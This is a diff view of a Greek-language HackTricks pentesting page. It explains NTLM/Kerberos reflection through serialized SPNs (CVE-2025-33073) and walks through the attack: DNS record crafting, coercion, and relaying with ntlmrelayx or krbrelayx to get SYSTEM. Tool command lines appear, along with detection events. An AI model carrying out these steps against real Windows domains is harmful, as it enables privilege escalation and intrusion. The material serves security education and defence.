**Διαβάστε έναν πιο λεπτομερή οδηγό για το πώς να εκτελέσετε αυτές τις επιθέσεις εδώ:**
|
**Διαβάστε έναν πιο λεπτομερή οδηγό για το πώς να εκτελέσετε αυτές τις επιθέσεις εδώ:**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
|
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Parse NTLM challenges from a network capture
|
## Parse NTLM challenges from a network capture
|
||||||
@ -264,18 +264,18 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
|||||||
|
|
||||||
## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
|
## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
|
||||||
|
|
||||||
Τα Windows περιέχουν αρκετές μετρήσεις που προσπαθούν να αποτρέψουν *reflection* επιθέσεις όπου μια αυθεντικοποίηση NTLM (ή Kerberos) που προέρχεται από έναν host αναμεταδίδεται πίσω στον **ίδιο** host για να αποκτήσει δικαιώματα SYSTEM.
|
Τα Windows περιέχουν αρκετές μετρήσεις που προσπαθούν να αποτρέψουν *reflection* επιθέσεις όπου μια πιστοποίηση NTLM (ή Kerberos) που προέρχεται από έναν host αναμεταδίδεται πίσω στον **ίδιο** host για να αποκτήσει δικαιώματα SYSTEM.
|
||||||
|
|
||||||
Η Microsoft κατέστρεψε τις περισσότερες δημόσιες αλυσίδες με τα MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) και αργότερα patches, ωστόσο **CVE-2025-33073** δείχνει ότι οι προστασίες μπορούν ακόμα να παρακαμφθούν εκμεταλλευόμενοι το πώς ο **πελάτης SMB κόβει τα Service Principal Names (SPNs)** που περιέχουν *marshalled* (σειριοποιημένες) πληροφορίες στόχου.
|
Η Microsoft κατέστρεψε τις περισσότερες δημόσιες αλυσίδες με τα MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) και αργότερα patches, ωστόσο **CVE-2025-33073** δείχνει ότι οι προστασίες μπορούν ακόμα να παρακαμφθούν εκμεταλλευόμενοι το πώς ο **πελάτης SMB κόβει τα Service Principal Names (SPNs)** που περιέχουν *marshalled* (σειριοποιημένες) πληροφορίες στόχου.
|
||||||
|
|
||||||
### TL;DR του σφάλματος
|
### TL;DR του σφάλματος
|
||||||
1. Ένας επιτιθέμενος καταχωρεί ένα **DNS A-record** του οποίου η ετικέτα κωδικοποιεί ένα marshalled SPN – π.χ.
|
1. Ένας επιτιθέμενος καταχωρεί ένα **DNS A-record** του οποίου η ετικέτα κωδικοποιεί ένα marshalled SPN – π.χ.
|
||||||
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||||
2. Το θύμα αναγκάζεται να αυθεντικοποιηθεί σε αυτό το όνομα κεντρικού υπολογιστή (PetitPotam, DFSCoerce, κ.λπ.).
|
2. Το θύμα αναγκάζεται να πιστοποιηθεί σε αυτό το όνομα κεντρικού υπολογιστή (PetitPotam, DFSCoerce, κ.λπ.).
|
||||||
3. Όταν ο πελάτης SMB περνά τη συμβολοσειρά στόχου `cifs/srv11UWhRCAAAAA…` στη `lsasrv!LsapCheckMarshalledTargetInfo`, η κλήση προς `CredUnmarshalTargetInfo` **αφαιρεί** το σειριοποιημένο blob, αφήνοντας **`cifs/srv1`**.
|
3. Όταν ο πελάτης SMB περνά τη συμβολοσειρά στόχου `cifs/srv11UWhRCAAAAA…` στο `lsasrv!LsapCheckMarshalledTargetInfo`, η κλήση στο `CredUnmarshalTargetInfo` **αφαιρεί** το σειριοποιημένο blob, αφήνοντας **`cifs/srv1`**.
|
||||||
4. `msv1_0!SspIsTargetLocalhost` (ή το αντίστοιχο Kerberos) τώρα θεωρεί ότι ο στόχος είναι *localhost* επειδή το σύντομο μέρος του host ταιριάζει με το όνομα υπολογιστή (`SRV1`).
|
4. `msv1_0!SspIsTargetLocalhost` (ή το αντίστοιχο Kerberos) τώρα θεωρεί ότι ο στόχος είναι *localhost* επειδή το σύντομο μέρος του host ταιριάζει με το όνομα υπολογιστή (`SRV1`).
|
||||||
5. Κατά συνέπεια, ο διακομιστής ρυθμίζει το `NTLMSSP_NEGOTIATE_LOCAL_CALL` και εισάγει **το access-token SYSTEM του LSASS** στο πλαίσιο (για το Kerberos δημιουργείται ένα κλειδί υποσυστήματος με σήμανση SYSTEM).
|
5. Κατά συνέπεια, ο διακομιστής ρυθμίζει το `NTLMSSP_NEGOTIATE_LOCAL_CALL` και εισάγει **το access-token SYSTEM του LSASS** στο πλαίσιο (για το Kerberos δημιουργείται ένα υποκλειδί υποσυστήματος με σήμανση SYSTEM).
|
||||||
6. Η αναμετάδοση αυτής της αυθεντικοποίησης με το `ntlmrelayx.py` **ή** το `krbrelayx.py` δίνει πλήρη δικαιώματα SYSTEM στον ίδιο host.
|
6. Η αναμετάδοση αυτής της πιστοποίησης με το `ntlmrelayx.py` **ή** το `krbrelayx.py` δίνει πλήρη δικαιώματα SYSTEM στον ίδιο host.
|
||||||
|
|
||||||
### Quick PoC
|
### Quick PoC
|
||||||
```bash
|
```bash
|
||||||
@ -305,7 +305,7 @@ krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
|||||||
* Windows Event 4624/4648 SYSTEM logons που ακολουθούνται αμέσως από απομακρυσμένες SMB εγγραφές από τον ίδιο διακομιστή.
|
* Windows Event 4624/4648 SYSTEM logons που ακολουθούνται αμέσως από απομακρυσμένες SMB εγγραφές από τον ίδιο διακομιστή.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
* [NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||||
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user